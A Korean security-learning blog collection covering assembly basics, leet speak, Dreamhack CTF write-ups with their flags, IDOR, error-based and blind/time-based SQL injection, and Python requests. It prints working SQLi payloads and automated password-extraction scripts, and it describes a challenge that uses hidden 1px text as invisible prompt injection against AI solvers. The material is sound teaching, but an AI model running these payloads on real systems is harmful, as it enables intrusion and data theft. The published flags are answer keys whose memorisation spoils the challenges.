어셈블리어란? 🥀🥀🥀

1947년에 만들어진 어셈블리어는 프로그래밍 언어이며 기계어와 함께 단 둘뿐인 저급 언어에 속합니다.

저급 언어란? 사람이 사용하는 자연어가 아닌, 컴퓨터(하드웨어)가 직접 이해하고 실행하기 쉬운 기계 중심의 프로그래밍 언어

참고로 여기서의 '저급 언어'란 '수준이 낮다'라는 뜻이 아닌 하드웨어에 가까운 '근원적'이란 의미입니다.

다르게 말하면 "하드웨어에 가장 가까운 프로그래밍 언어" 이면서 그만큼 매우 어려운🔥🔥🔥 언어이기도 합니다

그 예시로 "Hello, World!"를 출력하는 코드를 짤려면

파이썬의 경우

print("Hello, World!")

C의 경우

#include <stdio.h>
int main() {
    printf("Hello, World!");
}

자바의 경우

public class HelloWorld {
    public static void main(String[] args) {
        System.out.println("Hello, World!");
    }
}

등 아무리 길어도 5줄 내외이지만 어셈블리어의 경우

section .data
    msg db "Hello, World!", 10
    len equ $ - msg

section .text
    global _start

_start:

    ; write(1, msg, len)
    mov rax, 1
    mov rdi, 1
    mov rsi, msg
    mov rdx, len
    syscall


    ; exit(0)
    mov rax, 60
    mov rdi, 0
    syscall

... 더럽게 ㄱㅣㄹ ㄱㅗ 어려운 것

아마 크리스 소이어씨는 컴퓨터와 1ㄷ1 대화가 가능하지 않을까요

하지만 그렇다고 어렵기만 한 언어는 아닙니다

어려운 만큼 어셈블리어만의 장점도 있습니다.

하드웨어 직접 제어 가능

어셈블리어 하드웨어와 매우 근접한 만큼 하드웨어를 직접 제어할 수 있는 압도적인 장점이 있습니다

예컨데 int a = 67; 이라고 변수를 할당해주면 컴파일러가

메모리 할당->레지스터 사용->값 저장

순의 과정을 거치지만 어셈블리어의 경우 mov rax, 67 처럼 CPU 레지스터에 직접 값을 넣을 수 있습니다 오옹 나이스

매우 빠른 실행 속도

위의 내용과 이어지는데 CPU 레지스터에 곧바로 값을 넣으므로 어셈블리어는 매우 빠릅니다

용량 간소화

어셈블리어는 불필요한 런타임이나 추가 라이브러리 없이 CPU가 직접 처리할 최소한의 명령어로만 작성됩니다 그래서 어셈블리어로 만든 프로그램의 용량은 매우 적습니다.

기본 구조

어셈블리 명령어는 보편적으로 다음과 같은 구조를 갖습니다. opcode operand1, operand opcode : 실행할 명령 operand : 대상 데이터 입니다.

그 중에서 Operand의 경우 다음과 같은 데이터가 있습니다

Immediate (상수)

값 자체를 의미합니다. mov rax, 10 결과 : rax = 10 즉, 걍 숫자 넣는 겁니다.

Register (레지스터)

레지스터 값을 사용합니다. mov rax, rbx 결과 : RBX 안에 있는 값을 RAX로 복사.

값 복사.

Memory Operand

여기가 쪼까 어려운데. 메모리 주소를 참조합니다. mov rax, [rbx] rbx가 저장한 주소의 값을 rax에 저장한다 라는 뜻인데

여기서 rbx가 저장된 주소가 0x401000일 때 0x401000 메모리 주소에 있는 값이 0x41일 경우 그 메모리 주소에 있는 값까지 기어가서 0x41이라는 값을 rax에 저장합니다.

프로그래밍이 가장 쉬웠어요. -- 데이브씨 (26살)

...어려운 어셈블리어를 하니까 힘드네요...그러므로..

























<












<



다음 주 휴재앳!!!!!!!!!!!!!!!!!

LEET

"Y0u 4r3 4n 1d10t h4h4h4"

Leet(리트)는 영문자 일부를 숫자나 기호로 바꿔 쓰는 인터넷 표현 방식입니다

원래는 1980~1990년대 해커,게임,온라인 등 인터넷 문화에서 사용되었지만

사용자와 구별되는 은어처럼 쓰거나, 금칙어 필터를 피하거나, 그냥 멋있어 보여서 (...) 지금까지도 사용됩니다.

특히나 CTF을 자주 풀어보셨다면 종종 플래그에 Leet가 들어갑니다

H3ll0, W0rld! 헬로, 월드!

다음은 AZ까지의 문자를 ~(짚티를 이용해)~~ Leet에 대략적으로 대응한 표입니다

일상에서?

일상에서도 이따끔씩 발견되는 사례가 존재합니다

한 일례로 한국 그림 작가가 교육용 책의 시력검사 그림에 이딴 걸 넣었습니다

0MG W2F STFU PWN3D URAN00B LMAOROTr

가 되는데 이를 영어로 한번 치환하고

OMG what the fuck shut the fuck up pwned you are a noob laughing my ass off

한국어로 버녘해보면

오 세상에 ㅅl바 아가리 닥쳐 임마 너 조졌음 너 누비임 종나 웃김ㅋㅋㅋ

참고로 '어린이 교육용 책'의 삽화입니다. (이뭐병)

이상으로 글을 마치겠습니다 감사합니다.

Easy-forensic 📸

https://dreamhack.io/wargame/challenges/3084

이지 포렌식입니다 하지만 풀어보면 전혀

3-a-5-Y

누가 봐도 플래그죠

ADRIAN

Easy-forensic

아무튼 이 이미지를 Hxd로 돌려 분석해봅시다.

해당 파일을 .zip파일로 저장 및 압축 해제를 하면 다음과 같은 내용물이 나오게 됩니다.

이것도 좋아라 하며 플래그로 치부하면 안됩니다.

링크타고 가서 이미지를 넣고 LSB Half를 눌러 숨겨진 메시지를 확인할 수 있습니다

LSB는 이진수에서 가장 오른쪽에 위치한 ‘최하위 비트’로, 숫자의 일의 자리처럼 가장 작은 값을 나타낸다.

즉, 플래그는 "Hello.py를 SHA-256한 값" 이라는 결정적인 힌트가 나오게 됩니다

따라서 파일에 있는 Hello.py를 (통으로) SHA-256을 돌리면 플래그가 나오게 됩니다.

flag : DH{29df9c6803e0ad7853f285177a370ab1e3c9ffc27e847da84c71db1aff20bca3} 평가 : 이미지 스테가노그래피를 풀기에 적절한 초급? 문제.

뭣.

https://www.news1.kr/photos/7963713

지난 6월 어쩌다가 해군/해병대 사이버보안 및 AI 경진대회에 참가하게 되었는데 ... 뭐 결론부터 말하자면 일단 전 사이버보안 부분 2등 (우수상) 을 입상하게 되었습니다.

행정상 해병대가 해군 산하 소속이여서 그런가

대회 진행

우선 대회는 서울 용산 드래곤시티 호텔에서 진행했습니다 그 덕분에 저는 아침 일찍부터 일어나 서울 용산까지 갔습니다...

개회식에는 간단하게 대회 소개, 유의사항, 감삿말 등을 전하며 시작했고 주어진 기기는 CTF 전용 노트북만 주어졌습니다

뭐... 대회를 시작하자마자 간단한 CTF 사이트와 함께 문제가 주어졌는데 사이트 디자인이 해군 레이더망 같은 디자인을 연상시켜서 인상 깊었습니다

문제 풀이

우선 문제는 대회 보안상 자세히 알려주긴 어렵지만 대략적으로나마 설명하자면

대회는 CTF형식으로 진행하였고

워게임의 보편적인 키워드들이 죄다 들어갔다고 보시면 되겠습니다

또한 문제마다 난이도가 상당했던지 초반 몇 시간에는 한 문제라도 풀이한 참가자가 많이 없었습니다 (저 또한 마찬가지로)

그래도 다행인 점은 시간이 정말 널널했다는 점입니다 (9시쯤 시작해서 7~8시에 중퇴했으니...)

그 덕분에 여유있게 문제를 풀었던 것 같습니다

그래서?

일단 저는 상을 딸 생각은 없었고 그냥 어쩌다가 참가하게 된 사람1이였지만 기왕 온 김에 자기딴에서 최선을 다해 풀이를 했던 것 같습니다 그래도 뭐 결론적으론 2등으로 우수상을 입상했고 저 또한 풀이를 하면서 여러가지 취약점을 알게 되어 보안 지식이 많이 늘었던 경험인 것 같습니다

향후 똑같이 대회가 개최된다면 저는 또 참가할 의향이 있으며 최우수상 (1등)을 목표삼을 예정입니다.

이상으로 글을 마치겠습니다 감사합니다

드림 병원 🌱

https://dreamhack.io/wargame/challenges/2814

저희 드림 병원은 환자 정보를 안전하게 보호하고 있습니다. 🏥 ...

import hashlib
import os
from flask import Flask, render_template, request, redirect, url_for, session, abort

app = Flask(__name__)
app.secret_key = os.urandom(24).hex()

health_records = {
    1: {
        "name": "김깃발",
        "date": "2024-03-10",
        "height": "175cm",
        "weight": "70kg",
        "blood_pressure": "120/80",
        "diagnosis": "특이사항 없음 (검진완료)",
        "summary": "DH{This_is_fake_flag}", #❕플래그 위치
        "owner": "admin"
    },
    125: {
        "name": "김드림",
        "date": "2024-03-25",
        "height": "180cm",
        "weight": "75kg",
        "blood_pressure": "115/75",
        "diagnosis": "비타민 D 부족 권고",
        "summary": "전반적으로 양호하며 꾸준한 운동을 권장합니다.",
        "owner": "guest"
    }
}

def get_hash(uid):
    return hashlib.md5(str(uid).encode()).hexdigest()

@app.route('/')
def index():
    if 'user' in session:
        return redirect(url_for('dashboard'))
    return render_template('index.html')

@app.route('/auth/login', methods=['POST'])
def login():
    if request.form.get('username') == 'guest' and request.form.get('password') == 'guest':
        session['user'] = 'guest'
        return redirect(url_for('dashboard'))
    return "Login Failed", 401

@app.route('/auth/logout')
def logout():
    session.pop('user', None)
    return redirect(url_for('index'))

@app.route('/dashboard')
def dashboard():
    if 'user' not in session:
        return redirect(url_for('index'))

    user_data = health_records[125]
    return render_template('dashboard.html', user_hash=get_hash(125), name=user_data['name'])

@app.route('/report/view/<user_hash>')
def view_report(user_hash):
    if 'user' not in session:
        return redirect(url_for('index'))

    for uid, data in health_records.items():
        if get_hash(uid) == user_hash:
            if data['owner'] != session['user']:
                return "<h1>Access Denied</h1>", 403
            return render_template('report.html', data=data, user_hash=user_hash)

    return "Not Found", 404

@app.route('/report/download/<user_hash>')
def download_report(user_hash):
    if 'user' not in session:
        return redirect(url_for('index'))

    for uid, data in health_records.items():
        if get_hash(uid) == user_hash:
            return render_template('print.html', data=data)

    return "Not Found", 404

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

일단 guest/guest를 통해 guest로 로그인 해봅시다

음, 코드를 살펴봅시다

코드를 보시면 다음과 같이 의심스러운 부분이 존재합니다

def get_hash(uid):
    return hashlib.md5(str(uid).encode()).hexdigest()


...


@app.route('/report/view/<user_hash>')
def view_report(user_hash):
    if 'user' not in session:
        return redirect(url_for('index'))

    for uid, data in health_records.items():
        if get_hash(uid) == user_hash:
            if data['owner'] != session['user']:
                return "<h1>Access Denied</h1>", 403
            return render_template('report.html', data=data, user_hash=user_hash)

    return "Not Found", 404

이렇게 다음과 같이 uid를 문자열로 변환한 뒤 MD5 알고리즘으로 해싱하고, 그 결과를 16진수 문자열로 반환하는 구문을 url에 넣어 IDOR이 가능함을 유추할 수 있습니다.

report/view/3def184ad8f4755ff269862ea77393dd

guest로 로그인하시면 url이 다음과 같이 나오는 것을 알 수 있으며 이는 125의(health_record의 guest번호) get_hash() 값임을 알 수 있습니다

따라서 저희는 owner가 admin의 번호가 되는 1을 get_hash()에 넣어 IDOR를 시도할 수 있습니다.

하지만 이걸 곧이곧대로 /report/view/ 에 넣게 되면 코드처럼 'Access Denied'가 나오게 됩니다

결과표가 되는 /report/download/ 는 좀 다른 결과가 나옵니다

@app.route('/report/download/<user_hash>')
def download_report(user_hash):
    if 'user' not in session:
        return redirect(url_for('index'))

    for uid, data in health_records.items():
        if get_hash(uid) == user_hash:
            return render_template('print.html', data=data)

    return "Not Found", 404

/report/view/와는 다르게 로그인 확인 후, 찾은 데이터의 주인과 현재 로그인한 사용자가 일치하는지 비교하지 않기에 (data['owner'] != session['user'])

/report/view/c4ca4238a0b923820dcc509a6f75849b 을 통해 접근하면 플래그를 획득할 수 있게 됩니다.

FLAG :

평가 :

⬆️클라이언트-서버 모델이란?

클라이언트(Client)가 서비스를 요청(Request)하고, 서버(Server)가 그 요청을 처리한 뒤 결과(Response)를 돌려주는 컴퓨터 시스템 구조를 말합니다

뭔가 좀 무서운데

동작 방식은 다음과 같습니다

1️⃣ 사용자가 웹 브라우저를 실행한다 2️⃣ 브라우저가 서버에 원하는 정보를 요청한다 3️⃣ 서버가 요청을 처리한다 4️⃣ 처리한 결과를 다시 클라이언트에게 보낸다 5️⃣ 클라이언트는 받은 결과를 화면에 표시한다

이 모든 과정이 일어나는 시간은 대부분 1초도 걸리지 않습니다

식당이라는 인터넷 안에서 클라이언트라는 손님이 메뉴를 요청하면 서버라는 주방장이 요청을 처리하고 만든 요리를 클라이언트에게 보내는 과정이라고 보면 편합니다

(아 좋은 비유네용)

🤵클라이언트 (Client)

클라이언트는 사용자의 요청을 서버에 전달하고, 서버가 보내준 결과를 사용자에게 보여주는 역할을 합니다

프론드 엔드(Front-End)가 속하는 부분이기도 합니다 (사용자 이용 화면 구현)

쉽게 말하면 "서비스를 이용하는 쪽"이 되는 셈이죠

클라이언트가 하는 역할은

1️⃣사용자의 입력을 받는다 2️⃣서버에 요청을 보낸다 3️⃣서버로부터 응답을 받는다 4️⃣받은 결과를 화면에 출력한다

정도로 있겠습니다

🧑‍🍳서버 (Server)

서버는 클라이언트의 요청을 처리하여 필요한 데이터를 보내주는 역할을 합니다

백엔드(Back-End)가 속하는 부분이기도 합니다 (사용자가 보지 못하는 곳에서 유지보수 및 관리)

쉽게 말하면 "서비스를 제공하는 쪽"이 되는 셈이죠

서버가 하는 역할로는

1️⃣클라이언트의 요청을 받는다 2️⃣요청을 분석한다 3️⃣필요한 데이터를 찾거나 계산한다 4️⃣결과를 클라이언트에게 보낸다

정도로 있겠습니다

PING

온라인 게임을 해보시면 ping이라는 단위를 한번쯤 보셨을 것입니다 이 ping이라는 단위 또한 클라이언트에서 서버-클라이언트로 한번 왕복하는 데 걸리는 시간을 의미합니다

예를 들어 ping : 67ms라 할 경우 67 밀리초(ms,Millisecond : 0.001초) 이니 클라이언트와 서버를 왕복하는 데 0.067초가 걸렸다는 의미이기도 합니다

ping : 1022.73431초

이상으로 글을 마치겠습니다 감사합니다

이것도 딸깍해 보시지!

https://dreamhack.io/wargame/challenges/2771

(여러분도 한번 풀어보세요)

파일 다운로드

...

















네! 맞습니다! 플래그는 다음과 같습니다!

...




















라고 나오신 분들은 반성을 좀 하셔야 합니다

영상을 참고하시길 바랍니다

문제는 PDF 파일에는 안 보이는 글자를 몇 글자 숨기고 Microsoft Word로 작성한 후 PDF 파일을 만든 것이며, 주어진 소스 코드에서 특정 부분에 1px, 흰색 글자를 숨겨 놓았습니다 따라서 사람이 보는 것과 AI가 보는 게 다르죠.

이를 Invisible Prompt Injection 이라 부릅니다

Invisible Prompt Injection : 사용자가 보거나 인식하지 못하는 방식으로 LLM에 악의적인 지시를 숨겨 입력하는 사이버 공격 기법이다.

따라서 문제의 풀이 방식은 직접 풀거나 혹은 문제 자체를 캡쳐해서 AI에게 풀던가 (...) 하는 방식으로 풀이하셔야 합니다.

따라서 진정한 플래그는 가 됩니다.

flag : DH{AI_Stands_For_Artificial_Idiot_haha} 평가 : AI 이용에 관해 좀 반성해볼 수 있는 문제.

참고로 전 직접 풀어보고도 틀렸습니다.

🤖 딸깍?

요즘 AI가 발전함에 따라 AI를 활용해 만든 창작물이나 작품이 쏟아지는 추세입니다.

AI는 확실히 좋은 프로그램이 맞습니다

이를 통해 매우 유용한 프로그램을 만들거나 혹은 AI와 상담을 하거나, 혹은 공부를 하는 등 여러가지로 말이죠.

하지만 AI를 AI답게, 기계를 기계답게 쓰지 않는 사람도 많이 늘어나고 있습니다.

AI를 통해 범죄에 써먹거나, 음란물을 만들거나, 혹은 크래킹의 도구로써 쓰이는 등을 통해 말이죠

그렇다면 '저희'같이 IT에 몸담은 사람들은 AI를 어떻게 AI답게 사용할 수 있을까요?

일본의 게임 개발자 'ZUN'님이 이에 관해 언급한 적이 있습니다 ....

"요즘 AI 때문에 굉장히 시끄럽잖아요.

여러 제작 현장에서 논란이 있는데, 가장 중요한 건 AI에게 지지 않는 거라고 생각해요. 난 예전부터 그렇게 말해왔어요. 무언가를 창작하는 걸 AI에게 맡겨버리는 건 AI에게 진 거예요. 하지만 AI를 부정하고, 싫다고 거부하는 것도 역시 지는 거예요. AI라는 존재를 자신보다 무서운 존재로 인식하느냐, 아니면 자신이 그것을 받아들이느냐. 사람들은 이 둘로 갈리고 있어요.

나는 이번 타이밍에 AI를 사용한 건, AI를 그저 ‘도구’로 끌어내리고 싶었기 때문이에요.

'AI는 단순히 편리한 도구일 뿐이다.'

그러니까 창조적인 부분에서는 절대 지지 않겠다는 의지 표현이에요. 너무 많이 말하면 스포일러가 될 수 있지만, 이번 작품의 주제상 AI를 반드시 사용하고 싶었어요."

중략...

"근데 오해하지 않았으면 하는 게, 나는 창작적인 부분에는 AI를 사용하지 않았어요. 왜냐면 그걸 쓰면 재미없어질 거라고 생각했기 때문이에요. 세상에는 AI 그림 작가 같은 사람도 있지만, 그건 자신의 능력을 넘어서서, AI에게 사용당하고 있는 거예요. 그렇게 되면 안 되고, AI를 완전히 거부하는 사람도 AI에게 진 사람이에요. AI는 그저 편리한 도구일 뿐입니다.

그리고 저작권 문제는 없는 걸 사용했어요."

-동방금상경 AI사용에 관한 입장, 22분 50초 참고

그 말대로 AI는 본질적으로 단순 편리한 도구에 지나치지 않습니다 그 이상도 그 이하도 아닌 셈이죠

반대로 AI를 부정하고 사용하지 않는다면 AI시대로부터 뒤떨어지게 되는 겁니다

하지만 AI에게 '창작'을 맡기는 순간 그건 AI를 도구로 보는 것이 아닌 AI에게 이용당하는 것이 됩니다.

...

필자 또한 AI를 처음 사용하였을 때는 '이게 뭐 말만 해주면 다해주네?" 하고 막무가네 사용하였지만 지금 와서는 뭐 과제든 뭐든 다 해주니까 '과연 내가 배움의 의미가 있나' 싶어 하는 고뇌도 해봤습니다

그 결과 '배울 건 최대한 배우되 최소한 AI가 만든 것을 이해하고 분석할 수 있을 정도로 배우자' 라는 답에 도달하였고 이는 비단 저만 해당되는 것이 아닌 IT 종사자라면 반드시 갖춰야 할 최소한의 소양이자 주체적인 태도일 것입니다.

이상으로 긴 글 읽어주셔서 감사합니다

▶️IDOR이란?

IDOR(Insecure Direct Object Reference)은 웹 애플리케이션 보안 취약점 중 하나로, 접근 제어가 제대로 이루어지지 않아 발생하는 대표적인 취약점입니다

IDOR의 특징 중 하나가 매우 쉬운 해킹인데 단순 URL같은 곳에 딸깍 몇 번이면 털린다는 특징이 존재합니다

딸깍 ㅋㅋㅋ

예를 들자면 https://example.com/user/profile?userid=1005이라는 URL이 존재한다 가정했을 때

userid의 숫자만 단순 1~1004 중 하나로 변경한다면 해당 유저 번호에 일치하는 계정으로 로그인 할 일 없이 단순하게 로그인이 된다는 점입니다.

IDOR 취약점은 URL에만 국한되지 않고 HTTP Body, HTTP Header / Cookie, API 엔드포인트 등을 통해서도 발생됩니다

특히 F12를 통해 볼 수 있는 HTTP 환경에 단순 on을 off로 바꾸는 것으로도 발생하기도 합니다.

왜+♿️+발❗+♿️+생❗+하❗+♿️+는+♿️+갓❗

그렇다면 이런 딸깍ㅋㅋ 만으로 털리는 IDOR 취약점은 왜 발생할까요

이는 서버 측의 '권한 검증' 누락되었기에 발생하는 게 대표적입니다

인증 (Authentication): "이 사람이 로그인한 사용자가 맞는가?"

인가/권한 검증 (Authorization): "이 사용자가 요청한 데이터(객체)에 접근할 권한이 있는가?"

IDOR 취약점이 있는 서버는 1번(로그인 여부)만 확인하고,

*2번(요청한 데이터가 진짜 이 사람의 데이터가 맞는지)을 검증하지 않습니다. *

이런 간단한 실수로 인해 IDOR 취약점이 발생하는 까닭입니다.

한번 배웠던 내용을 실습해봅시다 https://dreamhack.io/wargame/challenges/2814

풀이 : https://velog.io/@coding_pineapple/DreamHack-%EB%93%9C%EB%A6%BC-%EB%B3%91%EC%9B%90-%ED%92%80%EC%9D%B4

이상으로 글을 마치겠습니다 감사합니다

⚠️ERROR BASED SQL INJECTION이란?

ERROR BASED SQL INJECTION이란

공격자가 데이터베이스에 에러를 일으키도록 잘못된 SQL 명령어를 입력한 뒤, 화면에 출력되는 에러 메시지를 분석해서 DB의 구조나 데이터를 탈취하는 기법을 말합니다

BLIND SQL INJECTION하고 원리는 조금 비슷한데, 에러가 나는 지 웹페이지에 반응을 보고 공격이 가능한 지 판별한 수 있습니다.

또한 ERROR BASED SQL INJECTION에서 에러를 유발시키기 위해 다음과 같은 함수를 사용합니다.

1️⃣ EXTRACTVALUE(X,Y) : 두 개의 인자를 받아 두 번째 인자인 Y에 올바른 경로가 아닌 특수문자와 함께 원하는 SQL 쿼리를 집어넣는 방식입니다

SELECT * FROM products WHERE id = 1 AND EXTRACTVALUE(1, CONCAT(0x0a, VERSION()));

을 넣어 공격하게 되면 ERROR 1105 (HY000): XPATH syntax error: 'version' 이라는 메시지가 나오면서 공격을 할 수 있습니다

또한 여기에 VERSION() 이 아닌 다른 함수를 넣어서 공격이 가능합니다

그 예시로 다음과 같은 sqli에 취약한 코드가 있다 가정해봅시다.

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e) #⚠️취약
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

위 코드에서는 except 구문을 보면 에러가 발생하였을 때 그 원인을 숨기지 않고 return str(e) 을 통해서 에러 메시지를 출력하게 하는 것을 알 수 있습니다.

따라서 저희는 다음과 같은 구문을 넣어 Error based sqli 공격을 가능하게끔 만들 수 있습니다.

' and extractvalue(1,concat(0x3a, (select upw from user where uid='admin'))); #

이렇게 다음과 같이 작은 따음표를 이용하여 감싸주고 extractvalue 함수를 통해서 sqli 공격을 성공한 것을 볼 수 있습니다. (물론 문장 끝이 나오다 말았지만.)

2️⃣UPDATEXML(원본_XML, XML_경로, 변경할_내용) : XML 데이터를 수정하는 함수입니다. 원본 XML 문서를 가져와서, 경로에 있는 값을 새로운 내용으로 바꾸고 싶을 때 사용합니다

UPDATEXML('<book><title>제목1</title></book>', '/book/title', '<title>제목2</title>');

다음과 같이 /book/title 의 경로의 내용을 제목2로 변경시킬 수 있지만 만일 경로가 잘못되면 에러를 출력하므로

공격자는 경로에 자신이 탈취하고픈 데이터를 입력해 공격을 합니다

방금과 같은 sqli에 취약한 사이트에 공격 구문을 짜보자면 다음과 같이 나올 수 있겠습니다.

' AND UPDATEXML(1, CONCAT(0x3a, (select upw from user where uid='admin')), 1) #

이렇게 데이터를 입력하여 공격을 가능하게 만들 수 있습니다.

한번 배웠던 내용을 실습해봅시다 https://dreamhack.io/wargame/challenges/412

이상으로 글을 마치겠습니다 감사합니다

⬛BLIND SQL INJECTION

BLIND SQL INJECTION 공격은 데이터베이스의 조회 결과가 화면에 직접 노출되지 않는 환경에서, 공격자가 참과 거짓의 질문을 던져 서버의 반응 변화를 통해 DB 내부의 데이터를 유추해내는 해킹 기법을 의미합니다.

쿼리의 실행 값을 responce로 받을 수 없을 때 사용하는 sql injection 기법입니다.

일단 기본적으로 코드를 짜야 하는 문제이므로 쉽지 않을 수도 있습니다.

(BLIND SQL INJECTION의 적절한 예시)

BLIND SQL INJECTION에서는 대표적으로 두 가지 공격방법이 존재합니다

1️⃣ 콘텐츠 기반 (Boolean-based) 2️⃣ 시간 기반 (Time-based)

🚵BOOLEAN-BASED SQL INJECTION

웹 페이지의 반응(텍스트, 링크, 페이지 구성 등)이 미세하게 바뀌는 것을 보고 참/거짓을 판단하는 방법입니다.

예를 들어 스무고개가 있겠습니다.

SELECT * FROM users WHERE username = 'user_input' AND password = 'password_input';

일 때 user_input 부분을 아이디 대신

admin' AND SUBSTRING(password, 1, 1) = 'b' --

을 쑤셔넣으면 ♥️ username이 'admin'이고, password의 1번째 글자부터 1글자 잘라낸 값(SUBSTRING)이 'b'와 같냐? 라는 뜻이 됩니다.

뭐, 참이면 화면 내용이 달라지겠고, 거짓이면 '아이디나 비밀번호가 틀렸습니다.' 따위의 내용이 나오겠죠.

하지만 저희가 고작 이거 따위(...)를 알려내려고 하나하나 다 일일히 대조할 수도 없는 노릇이니 보편적으로는 코드를 만들어서 자동화를 하는 편입니다.

#username='admin'일 경우의 기초적인 blind sql injection

import requests
url = "해킹하려는 url"

# 비번 길이 탐색
def check_length(url):
    for i in range(0, 100): #99 문자까지.
        param = {
            "username": f"admin' and length(password)={i} -- 1",
            "password": "123"
        }
        r = requests.post(url, data=param)
        if "기댓값" not in r.text: 
        #'기댓값'의 경우 '참'이면 나오는 서버의 텍스트를 삽입.
            print(f"[+] password 길이 발견: {i}")
            return i

# 비번 탐색
def find_char(url, length):
    string = ""
    for i in range(1, length + 1):
        print(f"[*] {i}번째 문자 탐색중...")
        for j in range(32, 127):  # ASCII 32(공백) ~ 126(~)
            param = {
                "username": f"admin' and ascii(substr(password,{i},1))={j} -- 1",
                "password": "123"
            }
            r = requests.post(url, data=param)
            if "기댓값" not in r.text: #이하 동일.
                string += chr(j)
                print(f"  현재까지: {string}")
                break  # 이 자리 글자 찾았으니 다음 자리로
    return string


print("[*] Blind SQL Injection 공격 시작")
length = check_length(url)
if length:
    print(f"\n[*] password 길이: {length}")
    print("[*] password 추출 시작...\n")
    password = find_char(url, length)
    print(f"[+] admin password: {password}")

이렇게 다음과 같이 저번에 배운 import requests문을 이용한 자동화 코드를 통해 쉽게쉽게 알아낼 수도 있습니다.

🕕TIME-BASED SQL INJECTION

참/거짓에 따라 웹페이지의 반응이 똑같아서 눈으로는 구별할 수 없을 때 쓰이는 방법입니다.

이때는 DB를 강제로 멈춰서 딜레이의 차이로 판단합니다

시간을 지연시키는 함수인 sleep() 함수를 이용하여 Time Based SQLi를 시도합니다

import requests
import time

url = "http://war.knock-on.org:48345/login"

def check_length(url):
    for i in range(0, 100):
        param = {
            "username": f"admin' and if(length(password)={i}, sleep(3), 0) -- ",
            "password": "123"
        }
        start_time = time.time()
        r = requests.post(url, data=param)
        end_time = time.time()
        elapsed = end_time - start_time
        print(f"  길이 {i}: {elapsed:.2f}초", end="")
        # 응답 시간이 2.5초 이상이면 sleep(3)이 실행된 것 = 조건 참
        if elapsed >= 2.5:
            print(f" ✅")
            return i
        else: print()
        time.sleep(0.1)
    return None

def find_char(url, length):
    string = ""
    for i in range(1, length + 1):
        print(f"[*] {i}번째 문자 탐색중...")
        for j in range(32, 127):
            param = {
                "username": f"admin' and if(ascii(substr(password,{i},1))={j}, sleep(3), 0) -- ",
                "password": "123"
            }
            start_time = time.time()
            r = requests.post(url, data=param)
            end_time = time.time()
            elapsed = end_time - start_time
            # 응답 시간이 2.5초 이상이면 sleep(3)이 실행된 것 = ASCII 일치
            if elapsed >= 2.5:
                string += chr(j)
                print(f"  '{chr(j)}' 발견 ({elapsed:.2f}초)")
                print(f"  현재까지: {string}")
                break
            time.sleep(0.1)
    return string

# 실행
print("[*] Time-Based SQL Injection 공격 시작")
print(f"[*] 대상 URL: {url}")
length = check_length(url)
if length:
    print(f"\n[+] password 길이: {length}\n")
    password = find_char(url, length)
    print(f"[+] admin password: {password}")
else: print("\n[-] password 길이를 찾지 못했습니다.")

이렇게 다음과 같이 시작 시간과 끝 시간을 감산한 값이 특정 시간을 넘을 경우 sqli이 되게 설정하게 만들 수 있습니다.

이상으로 글을 마치겠습니다 감사합니다

Import requests

requests는 파이썬에서 웹 서버와 통신하기 위해 사용하는 외부 라이브러리입니다.

인터넷에서 웹사이트를 방문 및 *API를 호출, 파일을 다운로드하는 등 *대부분의 웹 통신 작업을 requests 라이브러리로 수행할 수 있습니다.

예컨데 저희가 브라우저(Chrome, Edge 등)에서 https://example.com을 입력하면 브라우저가 해당 웹사이트에 접속하여 페이지를 받아옵니다

requests는 이 과정을 파이썬 코드로 대신 수행해 주는 라이브러리입니다

Requests 설치

requests문을 설치하려면 다음과 같은 과정을 거쳐야합니다.

CMD 또는 터미널에서

pip install requests

또는

python -m pip install requests

명령어를 통해 깔아주고 설치가 완료되었다면

import requests 
print(requests.__version__)

을 통해 버전 정보가 나오면 성공입니다.

GET 요청

가장 흔히 사용되는 기능입니다

웹 사이트에 데이터를 가져오는 명령입니다.

GET은 주로 웹 통신(HTTP)에서 서버의 데이터를 조회하거나 가져올 때 사용하는 요청 방식을 의미합니다 저희가 웹이나 이미지를 불러오는 것 또한 GET요청에 해당합니다.

import requests 

response = requests.get("https://example.com")

print(response.status_code)

print(response.text)

print(response.json())

response : 변수명 (아무거나 상관없음)
requests.get() : GET 요청을 보낸다.
"https://..." : 접속할 주소
.status_code : 서버가 요청을 처리한 결과를 숫자로 알려주는 속성
.text : 해당 웹의 HTML 코드가 출력
.json()은 JSON 데이터를 파이썬의 딕셔너리나 리스트 형태로 변환해 줍니다 (API에서 자주 사용)

.status_code에서 출력 예시로 200이 나왔다 하면 200은 "성공"을 의미하는 상태코드입니다

대표적인 상태 코드는 다음과 같습니다.

200    성공
201    생성 성공
301    영구 이동
302    임시 이동
400    잘못된 요청
401    인증 필요
403    접근 금지
404    페이지 없음
500    서버 오류

• 웹사이트가 응답하지 않을 경우를 대비하여

response = requests.get( 
    "https://example.com", 
    timeout=5 
)

의 timeout=N 을 통해 N만큼의 시간이 흐르면 오류가 발생하게 만들 수 있습니다.

POST 요청

POST는 서버에 데이터를 전송할 때 사용합니다

예를 들어 로그인, 회원가입, 게시글 작성 등이 POST 요청입니다

POST는 서버의 데이터를 생성/수정할 때 사용합니다 데이터를 HTTP 본문(Body)에 숨겨 대용량 전송이 가능합니다.

import requests 

data = {
    "username": "user1",
    "password": "1234"
}

response = requests.post("https://example.com", data=data)

print(response.status_code)

data : 딕셔너리입니다 여기에는 서버로 보낼 데이터를 저장합니다.
data=data : "data라는 매개변수 안에 data값 (위 딕셔너리)를 넣어라" 라는 의미.
requests.post() : post 요청을 보낸다.
username은 user1이며 password은 1234로 보내는 명령입니다.

다음에는 해당 모듈을 활용한 브루트포싱을 이용해 플래그를 얻는 워게임을 실습해보겠습니다

https://dreamhack.io/wargame/challenges/931

